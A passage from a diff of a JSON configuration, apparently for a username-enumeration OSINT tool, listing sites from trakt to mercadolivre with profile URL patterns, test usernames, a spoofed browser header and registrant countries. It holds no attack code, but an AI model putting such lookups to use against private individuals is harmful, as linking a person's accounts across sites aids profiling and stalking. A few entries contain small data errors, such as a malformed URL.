"https://www.trakt.tv/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.trakt.tv/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "trashboxru": { + "url": "https://trashbox.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://trashbox.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://trashbox.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "trawelling": { + "url": "https://traewelling.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://traewelling.de/@%s", + "existUsername": "lassestolley", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://traewelling.de/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "tuna": { + "url": "https://tuna.voicemod.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tuna.voicemod.net/user/%s", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tuna.voicemod.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "tweakers": { + "url": "https://tweakers.net", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tweakers.net/gallery/%s", + "existUsername": "femme", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tweakers.net/gallery/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "ultimate-guitar": { + "url": "https://ultimate-guitar.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ultimate-guitar.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ultimate-guitar.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vsco": { + "url": "https://vsco.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vsco.co/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vsco.co/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vero": { + "url": "https://vero.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vero.co/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vero.co/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vimeo": { + "url": "https://vimeo.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vimeo.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vimeo.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wicgforum": { + "url": "https://discourse.wicg.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discourse.wicg.io/u/%s/summary", + "existUsername": "stefano", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discourse.wicg.io/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "warriorforum": { + "url": "https://www.warriorforum.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.warriorforum.com/members/%s.html", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.warriorforum.com/members/%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wattpad": { + "url": "https://www.wattpad.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wattpad.com/user/%s", + "existUsername": "Dogstho7951", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wattpad.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "webnode": { + "url": "https://www.webnode.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.webnode.cz/", + "existUsername": "radkabalcarova", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.webnode.cz/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "weblate": { + "url": "https://hosted.weblate.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hosted.weblate.org/user/%s/", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hosted.weblate.org/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "weebly": { + "url": "https://weebly.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.weebly.com/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.weebly.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "whonixforum": { + "url": "https://forums.whonix.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.whonix.org/u/%s/summary", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.whonix.org/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "windy": { + "url": "https://windy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.windy.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.windy.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "wix": { + "url": "https://wix.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.wix.com", + "existUsername": "support", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.wix.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wolframalphaforum": { + "url": "https://community.wolfram.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.wolfram.com/web/%s/home", + "existUsername": "unico", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.wolfram.com/web/%s/home" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wykop": { + "url": "https://www.wykop.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wykop.pl/ludzie/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wykop.pl/ludzie/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "xboxgamertag": { + "url": "https://xboxgamertag.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xboxgamertag.com/search/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xboxgamertag.com/search/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "xvideos": { + "url": "https://xvideos.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xvideos.com/profiles/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xvideos.com/profiles/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "yandexmusic": { + "url": "https://music.yandex", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://music.yandex/users/%s/playlists", + "existUsername": "ya.playlist", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://music.yandex/users/%s/playlists" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "youpic": { + "url": "https://youpic.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://youpic.com/photographer/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://youpic.com/photographer/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youporn": { + "url": "https://youporn.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://youporn.com/uservids/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://youporn.com/uservids/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youtubechannel": { + "url": "https://www.youtube.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.youtube.com/c/%s", + "existUsername": "mkbhd", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.youtube.com/c/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youtubeuser": { + "url": "https://www.youtube.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.youtube.com/user/%s", + "existUsername": "pewdiepie", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.youtube.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "akniga": { + "url": "https://akniga.org/profile/blue/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://akniga.org/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://akniga.org/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "authorstream": { + "url": "http://www.authorstream.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://www.authorstream.com/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.authorstream.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "chaos-social": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaos.social/@%s", + "existUsername": "rixx", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaos.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "couchsurfing": { + "url": "https://www.couchsurfing.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.couchsurfing.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.couchsurfing.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "d3ru": { + "url": "https://d3.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://d3.ru/user/%s/posts", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://d3.ru/user/%s/posts" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "dating-ru": { + "url": "http://dating.ru", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://dating.ru/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://dating.ru/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "drive2": { + "url": "https://www.drive2.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.drive2.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.drive2.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "egpu": { + "url": "https://egpu.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://egpu.io/forums/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://egpu.io/forums/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "ebio-gg": { + "url": "https:/ebio.gg", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ebio.gg/@%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ebio.gg/@%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eintracht": { + "url": "https://eintracht.de", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.eintracht.de/fans/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.eintracht.de/fans/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "fixya": { + "url": "https://www.fixya.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fixya.com/users/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fixya.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "fl": { + "url": "https://www.fl.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fl.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fl.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "geocaching": { + "url": "https://www.geocaching.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.geocaching.com/p/default.aspx?u=%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.geocaching.com/p/default.aspx?u=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gfycat": { + "url": "https://gfycat.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://gfycat.com/@%s", + "existUsername": "Test", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://gfycat.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "habr": { + "url": "https://habr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://habr.com/ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://habr.com/ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "hackster": { + "url": "https://www.hackster.io", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.hackster.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.hackster.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "irecommend": { + "url": "https://irecommend.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://irecommend.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://irecommend.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "jbzd": { + "url": "https://jbzd.com.pl/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://jbzd.com.pl/uzytkownik/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://jbzd.com.pl/uzytkownik/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "kwork": { + "url": "https://www.kwork.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://kwork.ru/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://kwork.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "last-fm": { + "url": "https://last.fm/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://last.fm/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://last.fm/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "UK" + } + }, + "leasehackr": { + "url": "https://forum.leasehackr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.leasehackr.com/u/%s/summary/", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.leasehackr.com/u/%s/summary/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "livelib": { + "url": "https://www.livelib.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.livelib.ru/reader/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.livelib.ru/reader/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "mastodon-cloud": { + "url": "https://mastodon.cloud/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.cloud/@%s", + "existUsername": "TheAdmin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.cloud/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "JP" + } + }, + "mastodon-social": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.social/@%s", + "existUsername": "Gargron", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "mastodon-technology": { + "url": "https://mastodon.xyz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.technology/@%s", + "existUsername": "ashfurrow", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.technology/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "mastodon-xyz": { + "url": "https://mastodon.xyz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.xyz/@%s", + "existUsername": "TheKinrar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.xyz/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "mercadolivre": { + "url": "https://www.mercadolivre.com.br", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": 